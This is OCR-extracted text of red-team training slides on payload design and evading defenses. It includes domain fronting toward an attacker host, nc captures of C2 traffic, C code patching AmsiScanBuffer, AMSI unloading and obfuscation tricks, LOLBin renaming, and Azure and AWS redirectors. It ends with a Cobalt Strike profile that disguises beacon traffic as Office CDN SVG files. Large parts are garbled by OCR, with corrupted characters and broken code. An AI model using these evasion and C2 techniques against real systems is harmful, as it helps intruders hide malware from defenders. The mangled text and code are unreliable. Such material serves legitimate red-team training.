ooo020050 | 00 OO0 00 00|00 OO0 OO0 OO0|O00 OO0 OO 00|00 00 OO 00| ...c.eeeenennana
00020060 | 00 OO0 OO0 OO (00 OO0 OO 00|00 00 OO0 OO (00 OO0 00 00| ueeeeeannnnnsns

M7,
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Now you have all the
tools In the world to be
creative when it comes to
payload generation

163



GalningAccess

WARNING
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When you are designing your payload, you may want to think of the
following:

If you want to avoid network detection, act like a legitimate
service

Be ahead of detection using the latest technology:

A Websocket for example
A Using API technology structure (JSONP, SOAP)

M7,
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If you want to avoid detection, understand your enemy

What do they really monitor?
ANetwork
AAPIs hooks
ABehaviors
AHeuristics
AHash based

M7,
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Network:
ASecond layer of encryption
AShady, less used protocol
ASecure channel
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Why domain fronting is so powerful:
Al AAy3 1y206y GUNHzZ2OGSRé R2YIFAY (2
to blend in

Alf the traffic is not encapsulated into a secure channel (TLS), heuristic
detection may be harder

NR d.
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Why domain fronting is so powerful:

I JeLIAOFKET R2YFIAY FTNRBYUAY3I gAfft KIS |
requested

This i1s something that is used legitimately

M7,
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Why domain fronting is so powerful:

Querying google.com

GET/HTTP/2.0
Host: malicious.com

Assuming that the server supports arbitrary host, the request will be
forwarded to the attacker.

https://github.com/vysecurity/DomainkFrontingLists

M7,



https://github.com/vysecurity/DomainFrontingLists
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HTTP IS PROBABLY THE MOST USED PROTOCOL
AWELIDETECTED
AEASY TO USE TONS OF LIBRARIES
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RAW TCP
AFAST

AWELL DETECTED

ANEED MORE TIME TO CODE



GalningAccess

DNS
ALESS MONITORED

ASLOW
ANEED MORE TIME TO CODE
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ICMP
ALESS MONITORED, NOT SUPER POPULAR ANYMORE

ASUPER SLOW
ANEED MORE TIME TO CODE
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Protocol encryption VS software encryption:
Protocol may be easily intercepted by network filter

TLS -> Windows Decryption  -> Network Filter - > Application
|
) ORO T1x Al AAO OA@O
TLS ->Windows Decryption  -> Network Filter ->  Application ->
Decryption

|
Still encrypted

M7,



GalningAccess

ThunderShelis using this approach
https://github.com/Mr-Un1k0d3r/ThunderShell

F+1'1'F)S : $ nc -lvp 86886

Listening on [©.0.8.0] (family ©, port 80©80)
Connection from localhost 57482 received!
EEE ZE VEE\EL"<?pPTENZE)|4 @

Bl 5 /

HE
B EEEEERE # E & &

HTTP : $ nc -lvp 8680
Listening on [©.0.8.8] (family ©, port 8e80)

Connection from localhost 57541 received!

POST /6tVhUX13w3cnKD/ HTTP/1.1

User-Agent: Microsoft Windows NT 6.2.9200.0

Content-Type: application/json

Host: 127.9.0.1:80680

Content-Length: 139

Expect: 1@@-continue

Connection: Keep-Alive

MJM& ) "ID": "46tVhUX13w3cnKDv", "Data": "DSBjigPIjgX+j208G/CtidIKho99Xu8e4jmLj11KXpoN+BCV9jBbasSjd1BEUIaqud0O3p7HMRg8UG
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ThunderShelis using this approach
https://github.com/Mr-Un1k0d3r/ThunderShell
The JSON data contains the actual C2 communication

ENcaXf8RLb34HYA=="" :
XpoN+BCV9jBbaSjd1BEUJaqud03p7HMRg8UoGNcaXf8RLb34HYA==" | base64 -d | xxd

: 8d20 638a ©3c8 8ea5 fe8f e6do6 fc2b 6274 . c....... m. .+bt
: 82al a3df 57bb cd38 8e62 e397 5297 a683 ....W..8.b..R...
: 7e04 257d 8clé dada 3765 0445 @96a ab9d ~.%}...J7e.E.Jj..
: 3b7a 7blc c460 flda €635 c697 7fc4 4bef ;z{.. .J.5....Ko
. 7e07 60 ~,

CKS OUONYFFAO Aa atAaftft SYONERLI SR
This obviously defeats network filter
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APIls hooking:
A52y Qi dzaS (UKS 2ySa GKFO NB K221SR
ALT A0Q& dzaSNJ Y2RS K221 Ay3IZ 2dzYLld 20S
AJumping user land hooks
ADepending on how deep the hod call lower Windows API:

CreateFile vs NtCreateFile vs ZwCreateFile
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CreateFilekernel32.dll
NtCreateFilentdll.dll

syscall

M7,
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Nt* and Zw* are the sameusingZw* will not defeat
hooksin the Nt* APIs
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ZW* Isdesignedto be calledfrom the kernel
Nt* Isdesignedto be calledfrom the userland

MName Address Crdinal
m MtCreateFile 00000001200900B0 287
MName Address Ordinal
m LwiCreateFile OOD000018009D0B0 1870

M7,
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Behaviors

Procesgorrelation
AWinWord.exe-> cmd.exe> powershell.exe
AWinWord.exeUsingVBA toregisterWMI process

Ensurethat procesdree is not suspicious

M7,
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Behaviors

Procesgath:
ACA\windows system32cmd.exe
AC\suspiciouscmd.exe

Unexpectedorocessssuingnetwork requests
Unknownprocesshame/ registrykeys

M7,
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Heuristics

AMSIdetectionbasedon knownmaliciousstrings

AV signature foknownhackingtool (non-compiledcode)
AV signature foknownbad binaries

Blacklistedknownbinaries
Aregsvr32.exe
Apowershell.exe

M7,
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You can patciknownlolbin and change the hash, butwill remain
signedandverified

https://github.com/Mr-Unl1k0d3r/WindowsSignedBinary
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Hash based:
Known malicious hash

Known Windows binaries that are blacklisted, based on the hash:
Aregsvr32.exe
Aregasm.exe
Amsbuild.exe

Solution: change the hash

M7,
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WARNINGEACH SECURITY PRODUCTS IS WORKING DIFFERENTLY
KERNEL HOOKS VS USERMODE HOOKS

HOOKING THE DESTINATION VS THE SOURCE

https://github.com/Mr-Un1k0d3r/EDRS

M7,
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Evasion techniques such as renaming may evade a solution. In other
situations, It may trigger alerts

C:\»copy C:\Windows\Microsoft.NET\Frameworkiv4.8.38319%\msbuild.exe C:\Windows\Tasks\51981wak3js.exe

1 file(s) copied.

Then the newly created binary can be used instead of the legitimate
msbuild.exe

C:\>»C:\Windows\Tasks\51981wak3js.exe C:\payload.txt
Microsoft (R) Build Engine wversion 4.8.3761.8

[Microsoft .NET Framework, version 4.6.38319.42600 ]
Copyright (C) Microsoft Corporation. All rights reserved.
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Evasion techniques such as patching AM8s$iScanBuffer API
In certain cases, the patching action may trigger alerts
In certain cases, simply running less suspicious commands will not trigger an alert

int main(int argc, char **argv)
DWORD dwS3Size = 4;
HANDLE hProc = GetProcAddress (LoadLibrary ("amsi.dll"™), "AZmsiScanBuffer™):

VirtualProtect (hProc, dw3ize, PAGE EXECUTE READWERITE, HNULL):
memcpy (hProc, "\x31\xff\xo0"™, 3):

M7,
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AAntimalware Scan Interface (AMSThe Windows Antimalware Scan
Interface(AMSI) is a versatile interface standard that allows your applications and
services to integrate with any antimalware product that's present on a machine

A AMSI provides enhanced malware protection for your-eisdrs and their data,
applications, and workloads

Windows components that integrate with AMSI

The AMSI feature is integrated into these components of Windows 10.

® User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
e PowerShell (scripts, interactive use, and dynamic code evaluation)
e Windows Script Host (wscript.exe and cscript.exe)

® JavaScript and VBScript
e Office VBA macros

M7,



GalningAccess

Unmanagedowershellis not loading AMSI

Only when the System.Management.Automation.dll Invoke is called
ASMI will be loaded

Same goes witAssembly.LoadtcX

C# does not load AMSI by default

M7,
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CKSNE Aada aSOSN}If (22f OGKFO d&oeé L
AMSI Is not loaded In the current context

You want to know if AMSI is loaded, list all the loabdg you are
looking for amsi.dll

A simple trick can be used to unload it (work with HMIRt0o0)

FreeLibrary ("amsi.dll");

As shown earlier it can be patched tdangsiScanBuffer

M7,



GalningAccess

193




GalnlngAccess

s.hamilton\Desktop\tools\ListDlls>Listdlls.exe 17480

11s
2816 Mark Russinov

harles.hamilton\source\repos

windows
windows
windows

[ I ae R s R s ]

ConsolefApp9

J4indous
J4indous
J4indous
J4indous
J4indous
J4indous
Windous
Windous
windows
windows
windows
ndows M soft.N ; Nly .6, 3 nscoreei.dll
windows I
windows
windows
windows
windows
windows
windows
windows
windous
windous
windous

8
8
8
8
8
8
8
8
8
o
o
o
e
e
e
a
a
a
e
e
e
8
8
8
8
8
8
8
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Powershell.exe

C:\Usershcharles.hamilton\Desktop\tools\ListDlls>Listdlls.exe 11344

Listdlls - Listdlls
Copyright | 197-2016 Mark Russinovich

powershell.exe p

Command line: “C:\

Base ‘
8x0ee080080Cc 1068068 C:\Windows\5y lindowsPowershell\vl.@\powershell.exe
gxgoaae0e 5 [ don dll.d11

gxeooacoe 7 e \

tec@00e

F26060

. mbase.dll
X 4+ 3 ( indows" ER32.d11
Bx8008008 F ( dow RPCRT4.d11
8x8660000 ( C: dows" u.dll

: Primitives.dll

GDI32.d11

ADVAPI32.d11

tiveImages_v4.8.38319_ 64 \System.Manaas7 F\14ctbB5dc286

.dll
CRYPT32.d11
amsi.dll
windows\Ss USERENV.d11




GalningAccess

Unmanagegowershelb

ConsoleApp9

0 references

Program

Main( [] args)

ce r = RunspaceFactory.CreateRunspace();
r.Open();
Runspacelnvoke ri RunspaceInvoke(r);
Pipeline p = r.CreatePipeline();
p.Commands . AddScript("Get-Help");
p.Commands . Add("Out-String");

Collection<PSObject> output = p.Invoke();
r.Close();
StringBuilder sb =
foreach(PS0Object line in output) {
sb.AppendLine(line.ToString());

StringBuilder();

1
1

Console Write(sb.ToString());
Thread.Sleep(10000000) ;

196



GalningAccess

sersi\charles.hamilton\Desktop\tools\ListDlls>Listdlls.exe 13796

Listdlls v - Listdlls
Copyright 997-2816 Mark Russinovich
Sysinternals

ConsoleApp9.exe pld 13
Command line: "C:\Users\charles.hamilton‘\source\repos\Consolefpp9iConsoleApp9\bini\Debug\ConsoleAppd.exe”

Base Siz Path
X8086600008480600 ( ns) r - ilton‘\source\repos\ConsoleApp8i\ConsoleApp2\bin\DebugiConsolefAppd. exe
0xBe80808090e560006 indow ' : ntdll.dll
BxB88880008e386000 %53 i ndow = 2\wow64 . dll
BxBBEa880898da0000 ( indow ’ iin.dll
u.dll
ilton\source\repos\ConsoleApp9iConsoleApp9\bin\DebugiConsolefApp9.exe
ntdll.dl1
4 SCOREE.DLL
B&EBBBB
gx1fapee

BxPBEa88007AT 20000 F

BxBeae8a807 77700806 w74 indow sl 64\sechost.dll
BxB8888080 ] xbf indow 5l RPLRT4 dll
Bx0B0a800074T 60000 b = 55

xXPEBEEeaBTATSE000 indow WO ‘PTEAwE dll

X 7bel i ndow = ptPrimitives.dll

gxBoe08000

goBae0es X g indo O si. dll
gxe6eaa00e7 ] C: \windows' AOWEA Y :ERENh.dll
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ConsoleApp9
0 references
Program
Unmanagegowershell
Pipeline p =.CreatePipelin@; does not load tatic void Main(string[] ares)
amsi.dll ‘- . _ |
Runspace r = RunspaceFactory.CreateRunspace();
Importing r-Open(); | |
I RunspaceInvoke ri = RunspaceInvoke(r);
System.Management.Automation.Runspaces S
does not load amsi.dll p.Commands . AddScript ("Get-Help”);

p.Commands . Add("Out-String");

CallingRunspace =
RunspaceFactory.CreateRunspauodoes not

Collection<PSObject> output = p.Invoke();
r.Close();

|Oad amS|d” StringBuilder sb = StringBuilder();
] . foreach(PSObject line in output) {
The call that trigger the load of AMSI is the . Sbjﬁppendune{fin;?c.;piﬂg(;;; :

Invoke() }
Console . Write(sb.ToString());

Thread.Sleep(10000000) ;

M7, |
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If you are goingto patch AMSImakesureyou
patchit before the callthat will load it
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The language used to develop your payload may make a difference

You can obfuscate your final stage using language such as:
AGo
ARust
AJavaScript
APythonto exe
ANim (https://github.com/byt3bl33d3r/OffensiveNin
Aor your favorite language

O


https://github.com/byt3bl33d3r/OffensiveNim

GalningAccess

Quick note on staged vstageless

AA stager is a simple shellcode that usually connects back to a host anc
downloads the second stage

AA stagelespayload contains all the malicious payload and does not
perform a second download to get the core code
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Meterpreter Is a perfect example:
The staged version ofwtorks using the following approach:

« stage(: large buffer of junk plus approximately 350b of shellcode.
« stagel. metsrv DLL approximately 755kb.
» stageZ. stdapi DLL approximately 370kb.

e stage3. priv DLL approximately 775kb.

T
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Meterpreter Is a perfect example:
Thestageleswversion of itworks using the following approach:

When creating the payload, Metasploit first reads a copy of the metsrv DLL into memory. It
then overwrites the DLLs DOS header with a selection of shellcode that does the following:

e Performs a simple GetPC routine.
o Calculates the location of the Reflectiveloader() function in metsrv.
e Invokes the ReflectivelLoader() functionin metsrv .

» Calculates the location in memory which indicates the start of the list of pre-loaded
extensions. This value is simply the location that immediately follows the end of metsrv .

e Invokes D11Main() on metsrv,passingin DLL METASPLOIT ATTACH along with the
pointer to the extensions list. This is where metsrv takes over.

« When metsrv exits, the bootstrapper then calls D11Main() again with
DLL_METASPLOIT DETACH along with the selected EXITFUNC identifier. This is where
metsrv exits using the appropriate method depending on what was chosen.

— 203
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Stageless

PROS:

A No second stage downloaded over the network that can be captured with
network filter

A You can obfuscate the whole RAT

M7,
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Stageless

CONS:
A Bigger payload
A May not work depending on the vectors because of size limitation
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Staged.:

PROS:
ASimple and small payload
ACan wrap with other techniques easily
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Staged.:

CONS:
ADownload over the networlkd{l in clear)
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Evasion VS Obfuscation

Evasion:
EALs OOAO 77 e2#EAOI A2

Obfuscation:
var user = 0x436861726¢c6573;

M7,
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Exercise

Bypass AMSI by
obfuscating your
favorite powershell
code
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This code Is detected by AMSI

gCIfiD
hyJzIJxNS
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Obfuscate your payload; in this case, the base64

, 8xlb,

[]

ay

SCII.GetString(aaSdIjHydiXAcfccIOiGRT));

nSGQF, aaSdIjHydiXAcfccIOiGRT);
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Replace letters that are the most common in the base64 blob of data In
UKAa OlaS WbhQ |YyR W. Q
Break the base64 data using arbitrary symbol

IMSaQdbisAacU( ChfkxbexvTDUwxLnHUOLP L)

TkvyzPPX = "#2@%%!&";
16I¥AoDcertYlhTzga = "*>{.(],)[}<";
return CbfkxbexvTDUwxLnHUQ1iPt.Replace(IkvyzPPX, "N").Replace(Jlal¥YAcDcerftYlhTzgG, "B");

M7,
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Want to figure out if your code is triggering AMSI:

https://github.com/RythmStick/AMSITrigger

213
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Exercise

Confirm that the code
does not trigger AMSI
anymore by obfuscating
somePowershell
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Quick note orDLLs

https://docs.microsoft.com/erus/windows/win32/dlls/dynamidink-
library-bestpractices

NEVER PUT YOUR CODE INDIINIINn

e M7,
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DllsHell

You should never perform the following tasks from within DIIMain:

¢ Call LoadLibrary or LoadLibraryEx (either directly or indirectly). This can cause a deadlock or a crash.

e Call GetStringTypeA, GetStringTypeEx, or GetStringTypeW (either directly or indirectly). This can cause a deadlock or a crash.

e Synchronize with other threads. This can cause a deadlock.

® Acquire a synchronization object that is owned by code that is waiting to acquire the loader lock. This can cause a deadlock.

e |nitialize COM threads by using ColnitializeEx. Under certain conditions, this function can call LoadLibraryEx.

¢ Call the registry functions. These functions are implemented in Advapi32.dll. If Advapi32.dll is not initialized before your DLL, the
DLL can access uninitialized memory and cause the process to crash.

¢ Call CreateProcess. Creating a process can load another DLL.

® Call ExitThread. Exiting a thread during DLL detach can cause the loader lock to be acquired again, causing a deadlock or a
crash.

¢ Call CreateThread. Creating a thread can work if you do not synchronize with other threads, but it is risky.

® Create a named pipe or other named object (Windows 2000 only). In Windows 2000, named objects are provided by the
Terminal Services DLL. If this DLL is not initialized, calls to the DLL can cause the process to crash.

® Use the memory management function from the dynamic C Run-Time (CRT). If the CRT DLL is not initialized, calls to these
functions can cause the process to crash.

e Call functions in User32.dll or Gdi32.dll. Some functions load another DLL, which may not be initialized.

® Use managed code.

e M7,
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So how does reflective DLL work then?

Export DlIIMain () {
}

Export ReflectiveLoad () {
}

rundll32.exe malicious.dll,ReflectiveLoad

M7,
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Not perfect but work most of the time:
https://github.com/Mr-Un1k0d3r/DLLsForHackers

int__cdeclsystem¢onstchar *Command)
intptr_t __cdeclspawnvpéint Mode, constchar *Filename constchar *const* ArgList constchar *const*Eny

intptr_t __ cdeclspawnvéint Mode, constchar *Filename constchar *const* ArgList constchar *const* Eny
signed _int64 fastcallcomexecmd_Q(nsignedintal, int64 a2, int64 a3,  int64 a4)
signed__int64 _fastcalldospawr{signedint al,constCHAR *a2, int64 a@oid*a4)
BOOL _stdcallCreateProcesfRPCSTRApplicationNameLPSTRCommandLing...)

M7,
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Inspectingwasis goingin the backgrounas alsoreallyimportant to
Improveyour understandingof the underlyingmagic

AP| Monitonstool that can helpyou
http://www.rohitab.com/apimonitor

APl Monitor Is a free software that lets you monitor and control API
calls made by applications and services

Its a powerful tool for seeing how applications and services work or for
tracking down problems that you have in your own applications

M7,
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# Time of Day Thread Module APl L.lb Return Value Errar Duration
1 1:36:44,524 FM 1 KERMELEASE.dII MtDelayExecution | FALSE, (u0392fb44 )

2 1:36:44.524 FM 2 notepad++.exe GetFocus | ) MULL 0.0000091
3 1:36:44.524 PM 2 notepad++.exe IsChild [ 00020900, MULL ) FALSE 0.0000042
4 1:36:44.524 FM 2 USER32.dlI i---FltIEetLa stWin32Error { ERROR_INVALID_WINDOW_HAMDLE ) 0.0000009
5 1:36:44.524 FM 2 notepad++.exe GetFocus | ) MULL 0.0000042
& 1:36:44.524 PM 2 notepad++.exe IsChild [ MULL, MULL ) FALSE 0.0000009
7 1:36:44.524 FM 2 USER32.dlI i---FltIEetLa stWin32Error { ERROR_INVALID_WINDOW_HAMDLE ) 0.0000003
a 1:36:44.524 FM 2 notepad++.exe IsDialogMessageW [ Ow00020900, 000736098 ) FALSE 0.0000121
9 1:36:44.524 PM 2 notepad++.exe Translatedcceleratorwy' [ Ox000403F2, Cre00FbOFOS, Ox007Y9E058 ) 0 1400 = Invalid window,..  0.0000007
10 1:36:44.524 FM 2 notepad++.exe GetWindowlongW [ CecD00408F2, GWL_USERDATA, ) 7954676 0.0000009
11 1:36:44.524 PM 2 notepad++.exe GetCurrentThreadid | ) 15612 0.0000058
12 1:36:44.524 PM 2 notepad++.exe GetCurrentThreadid { ) 15612 0.0000003
13 1:36:44.525 FM 2 notepad++.exe GetMessageW [ Ox00796093, NULL, 0, 0

14 1:36:51.524 FM 1 KERMELEBASE.dII MtDelayExecution | FALSE, Oun0892fbad )

T
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Setting upyour infrastructureis important

Cloud service cabpe usedto proxyyour network traffic
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Whywould you use the cloud

Thedomainaretrusted and NOThewlyregistered
Most of thecorporateproxywill allowthem sinceeverythingisin the cloud

AWS: *Yamazonaws.com
Azure: *azureedge.net, *.azurefd.net etc..

Yourtarget likelyhave service running in one of tih@o

M7,
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| T dzNB 2FFSNJ / 50D

FSI 0dzNB G KI 0

Once you access the portéli(ps://portal.azure.con), | recommend

using the search because the Ul iIs a mess

' cdn

8

All Services (2) Resources Resource Groups

I Azure Active Directory (9)

!
Services

@) Front Door and CDN profiles
Marketplace

- fanaged CDM on Azure

| Action: Multi-CDN Optimization and Allocation

- Insights: Multi-CDN Measurement and Visibility

- Vyu realtime streaming COM

| Documentation

Marketplace (20) Documentation (20)

"é Web application Firewall policies (WAF)

See all
- KogSistem Azure CDMN Management
4 Azure CDN Core Analytics
4 Front Door and CDM profiles
N wordPress
seeall

Ol y
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Keepin mind this canbe usedfor domainfronting, but we are not
doingdomainfronting here, sinceAzureis clearabout thefactthat it is
NOTallowedanymore

€% Front Door and CDM profiles

1 f{f 6S NS R2AYy3 A& al ARAY3IE 2 dzN

M7,
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Createa new Instance

Microsoft Azure

Bienvenue dans votre compte Azure

Choose other offerings

Azure Front Door (classic) ®

A global and scalable entry point that
uses Microsoft global network to provide
dynamic application acceleration, load
balancing and security.

MK 7,

Azure CDN Standard from O
Microsoft (classic)

A global content delivery network that
uses Microsoft global network for content
caching and acceleration.

Home » Front Door and COM profiles

Compare offerings

Microsoft Azure

Choose betwesn Azure Front Door and other offerings.

Azure Front Door

Azure Front Door is a secure cloud CDN
which provides static and dynamic
content acceleration, global load
balancing and protection of your apps,
APIs and websites with intelligent threat

protection.

Azure CDN Premium from O
Verizon

Verizon Media operates a global COM
platform with a focus on media streaming,
delivery and security.

offerings.

O Explore other offerings

See offerings for our Azure Front Doaor
(classic) and Azure COM Standard from
Microsoft (classic), along with our partner

Azure CDN Standard from O
Verizon

Verizon Media operates a global CON
platform with a focus on media streaming,
delivery and security.

Azure CDN Standard from O
Akamai

Akamai is one of the world's largest CDN

provider with a large distributed network
of servers around the world.
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Basics  Tags Review + create

Project details

Select the subscription to manage deployed resources and costs. Use resource groups like folders to organize and

manage all your resources. Learn more '

Subscription *

Resource group *

Resource group region * (1)
Profile details
Mame *

Region

Pricing tier *

Endpoint settings
Create a new CDN endpoint

CDMN endpoint name *

Origin type *

Origin hosthame * (D)

| Free Trial s |
| (Mew) tast ~ |
Create new

| Eastus v
[ test -]
| Global |
o COM profiles are global resources that work across Azure regions

| Microsoft CON (classic) ' |
View full pricing details G

| mrun1k0d3r /|

.azureedge.net

| Custam origin

v

EEEE

/|
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REALLY IMPORTANT DISABLE CACHING

| A2 Search

Owverview

m Activity log

P
=,

Access control (lAM)

¥ Tags

&

Diagnose and solve problems

Settings

Origin

Custom domains
Compression
Caching rules
Geo-filtering

Optimization

MK 7,

About This Feature
Control how COM caches your content and how unigue query strings are handled.

Learh more CF

Query string caching behavior (&) lgnore guery strings

Ignore guery strings
Bypass caching for query strings

Cache every unique URL
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Azureallowyou by default to dogeofencingand muchmore

Onceyou are set,you can setyour Cobalt Strike to
mrunlkOd3r.azureedge.nathichpoint to your C2 server IRnderthe
hood
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Ratheruse AWSnsteadof Azure. Sure!

You can use lambda forward network toyour host
https://blog.xpnsec.com/awdambdaredirector/

With a bit of code, you can have your server assigned to
[random].executeapi.useastl.amazonaws.com

Once again, you will have a domain in front of your server that Is
trustable

M7,
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Youwant a good profile:

EchoMirage MITM, degitapplication, and duplicate th&affic

'@ Echo Mirage

Process  Rules Options  Help

Execute

Inject
Inject "WINWORD.EXE"

Exit

M7,

Ctrl+E
Ctrl+1

-

Options = Help

+  Highlight Matches
|

Highlight Strings
Configuration

Clear Traffic Log

Ctrl+M
Ctrl+5

Configuration

General Loggingd  Highlighting
Traffic Lag

[ ] append

PCap Log

[ ]append

System Log

|E|:|'||:|I'~"Iirage.lng

[ ]append
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Frompcapto Cobalt Strike profile

POST /gsorganizationvalsha2g2 HTTP/1.1
Host: ocsp2.globalsign.com

User-Agent: Mozilla/5.8 (Windows NT 18.8; Wing4; x64; rv:187.8) Gecko/28188181 Firefox/167.8
Accept: */*

Accept-Language: en-CA,en-U5;q=8.7,en;q=8.3
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 79

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

BMBKOTBGBED « .o v vvunnn.. Mi=ennn.. Favenns {eoann Bevaa)Seuutseofen]..55.5..]..
J.HTTP/1.1 286 OK

Date: Tue, 22 Now 2822 23:13:22 GMT

Content-Type: application/ocsp-response

Content-Length: 1459

Connection: keep-alive

Expires: Sat, 26 Nov 2822 22:28:37 GMT

ETag: "22e3571800899eb759b7f572f23ead3d62d1839fe"

Last-Modified: Tue, 22 MNov 2822 22:28:38 GMT

Cache-Control: public, no-transform, must-revalidate, s-maxage=3688
CF-Cache-5tatus: HIT

Age: 1952

Accept-Ranges: bytes

Vary: Accept-Encoding

Server: cloudflare

CF-RAY: 76e5597cadbeS967-IAD
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Lookingfor aniceprofile?

Pick one o¥yourfavorite corporateapplicationghat sendtraffic over the Internetsuchas:
A SharePoint

A Teams

A Office

You can us&ireSharko sniff thetraffic or a web proxy.

M7,
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12491 [] Pro GET 200
Xy

Raw Hex =

GET fofficehub/ images/content/ images/ world-a973a4a060.3vg HTTESZ

Host: res.cdn.cffice.net

3 User—-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x£4; rv:107.0)
Gecko/20100101 Fireforx/107.0

4 Apoept: *FF

Acocept-Lancuage: en-CA, en-US:qgq=0.7,en:cq=0.3

Aocept-Encoding: gzip, deflate

Referer: https://www.office.com/

Origin: https://www.office.com

Sec-Fetch-Dest: empty

LD Zec-Fetch-Mode: cors

L1l Sec-Fetch-Site: cross-site

L2 Te: trailers

o

o

MK 7,

https://res.cdn.office.net

Pretty Raw Hex

6179 fofficehuby/images/content/images/worl...

Render = Rl

HTTP/Z Z00 OK
Last-HModified: Thu, 28 Oct 2021 Z1:10:49 GMT

3 ¥K-Ms-Request-TId: aS5bkI4e0-101e-0043-57594-bdZ45=000000

oy

[T =51

Content-Length: £1789

Cache-Control: max-age=£30720000

Date: Mon, 05 Dec 2022 L17:55:53 GHMT

Vary: Accept-Encoding

Timing-Allow-0Origin: *

Access-Control-Expose-Headers: date, Akamai-Fequest-EC
Accegs-Control-Allow-Origin: *

Strict-Transport-Security: max-age=3153c000; includeiublomains
Content-Type: image/svg+xml

3 ¥-Cdn-Prowvider: Akamai

<?¥ml wversion="1.0" encoding="utf-8"7>
«!—— Generator: Adobe Tllustrator Z1.1.0, SVG Export Plug-In . 3VG
Version: £.00 Build 0) —-——=
<svg version="1.1" id="Layer 1" xmlns="http://www.w3.org/IZ000/svg"
¥mlns:xlink="http://wvww.w3.org/ 1999/ x1link"™ x="0px"™ v="0px'"
wiewBox="0 0 24 24" style="enable-background:new 0 0 Z4 Z4:" xml:space
=Mpreserve:>
<style type="text/css">
.2t0{
clip—path:urli#SvGID_j_]:
}
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[ S de@ldith the host first

Host: res.cdn.office.nst

Registeres-cdnoffice.azureedge.net



GalningAccess

For the profile set the URI to

set uri "/officehub/images/content/images/world-a9%973a4a0e0.svg";
set verb "GET";

Set the headers

client {

header "Referer" "https://www.office.com";
header "Sec-Fetch-Dest" "empty"

header "Sec-Fetch-Mode" "cors"™

header "Sec-Fetch-Site" cross-site"

M7,




server {

GalningAccess

On the serveside

[ S prép&ndand append the SVG structure

header "X-Ms-Request-Id" "a%5b24e0-101e-0043-5794-bd245e000000";

output {

mask;

basecdurl;

prepend "<?xml version=\"1.0\" encoding=\"utf-8\"?> <!-- Generator: Adobe Illustrator 21.1.0, SVG Export Plug-In . SVG Version: €.00 Build 0) --> <svg
version=\"1.1\" id=\"Layer 1\" zmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.0rg/199%/x1ink\" x=\"0px\" y=\"0px\" viewBox=\"0 0
24 24\" style=\"enable-background:new 0 0 24 Z4;\" =xml:ispace=\"preserve\"> <style type=\"text/css\"> .5t0{clip-path:url (#SVGID 2 );}
.5t1{fill:#666666;} </style> <title>Artboard l</title> <g> <g> <defs> <path 1d=\"SVGID 1 \"™ d=\""

bppend ™S> </defs> <clipPath id=\"SVGID 2 \"> <use xlink:href=\"#SvGID 1 \" style=\"overflow:visible;\"/>

</clipPath> <g class=\"stO\"> <rect x=\"-4.9\" y=\"-5\" class=\"stl\" width=\"33.9\" height=\"34\"/> </g> </g> </g> </svg>"
print;

M7,
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Whenthe beaconwill callbackjt will look like the servels returning

an SVG file due to the profiee created

M7,

HTTF/Z 200 HTTE/Z

Last-Modified: Thu, 28 OCct Z0Z1 Z1:10:45 GMT
X-M=s-PFecquest-Id: aS5hI4=0-101=-0043-5794-Ld245=000000
Content-Length: £179

Cache-Control: max-age=£30720000

Date: Mon, 05 Dec 2022 17:55:53 GMT

Vary: Accept-Encoding

Timing-4Aillow-Origin: *

Apecess-Control-Expose-Headers: date, Akamai-FRecuest-EC
Apcess-Control-Allow-Origin: *
Strict-Transport-Security: max-age=3153£000; includeSubDomains
Content-Type: images/svg+xml

¥-Cdn-Provider: Akamai

<?xml wersion="1.0" encoding="ucf-8"2>

«!—— Generator: Adobe Illustrator Z1.l1.0, 3VG Export Plug-In . 3VG Version:

£.00 EBuild 0O)

<svg version="1.1" id="Layer 1" xmlns="http://www.w3.org/Z000/svg" xmlns:xlink="

httop://wew. w3 .org/ 1995/ xlink" *="0px" y="0px"

viewBox="0 0 24 24" style="enable-background:new 0 0 24 Z4:" xml:space="pressrve">

<style type="text/css">
.st0{clip-path:url (#3VGID 2 )}
Stl{E£ill:HEEEEEE; }

</style>
<titlexArtboard l</titlex
<o
<=
<defs>
<path id="SVGID_L " d="baseE4 encodes beacon datarf>
</defs>
<clipPath id="SWGID Z ">
Zuse xlink:href="#3VGID 1 " style="overflow:visible;"/>

</clipPath>
<g class="st0":>
<rect ®X="-4.9" y="-5" class="stl" width="33.9" height="34"/>
</ag=
<>
</ o>
</ svgs

=
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IN CONCLUSION DESIGNING PAYLOAD TAKE CREATE YOUR OWN LAB CODE CODE CODE
TIME, RESEARCH AND PLAY WITH THE SECURITY
TEST PRODUCT

e M7,



15 minutes break




What Is an EDR, XDR or NDR?

Endpoint detection & response relies on the following to detect
malicious activities:

AAMS]

AETW & ETWi

Adal OKAYS [ SINYyAy3IE
ASandboxes

AKernel callbacks

AUser Mode Hooking

AKilling the EDR

AAlternative to get your code running

M7,



Defeating AMSI

What is AMSI
AMSI Is according to Microsoft:

The Windows Antimalware Scan Interfd@dSl) is a versatile interface standard that allows your
applications and services to integrate with any antimalware product that's present on a machine. AM.
provides enhanced malware protection for your enskers and their data, applications, and workloads.

Windows components that integrate with AMSI

The AMSI feature is integrated into these components of Windows 10.

« User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
* PowerShell (scripts, interactive use, and dynamic code evaluation)

* Windows Script Host (wscript.exe and cscript.exe)

« JavaScript and VBScript

« Office VBA macros

M7,



Defeating AMSI

DEFEATING AMSI using obfuscation

1 function TestDetection { PS C:Wsers\me\Desktop> import-module .‘\test.psl
2 FROCESS {
H S$string = "LmsiScanBuffer

TestDetection PS5 C:\Usersime\Desktop>

1 function TestDetection { PS C:WWUsers\me\Desktop> import-module
- - PROCESS { AmsiScanBuffer

3 Sstring = "ImsiMyanBuwwexr™ PS5 Ci\Usersime\Desktop>

- Sstring = Sstring.BReplace ("Z27, "L"):

3 Sstring = $string.Replace("w", "£");:
: Sstring = $string.Beplace ("My", "Sc"):
Write-Output Sstring

L2 TestDetection

M7,



Defeating AMSI

DEFEATING AMSI by patching AMSISCANBUFFER API

MK 7,

Patching amsi.dll AmsiScanBuffer by rasta-mouse

$Hin3z = @

using System;
:.."Lir'lﬂ "Tr:,"'.HL-l JRuntime. Interopservices;

public class Win3z {

}

@

[DllImport(“kernal32™) ]
public static extern IntPtr GetProcAddress{IntPtr hModule, string procName);

[D11Import(“kernel32™)]
public static extern IntPtr LoadLibrary(string name);

[D1lImport( “kernel32™) ]
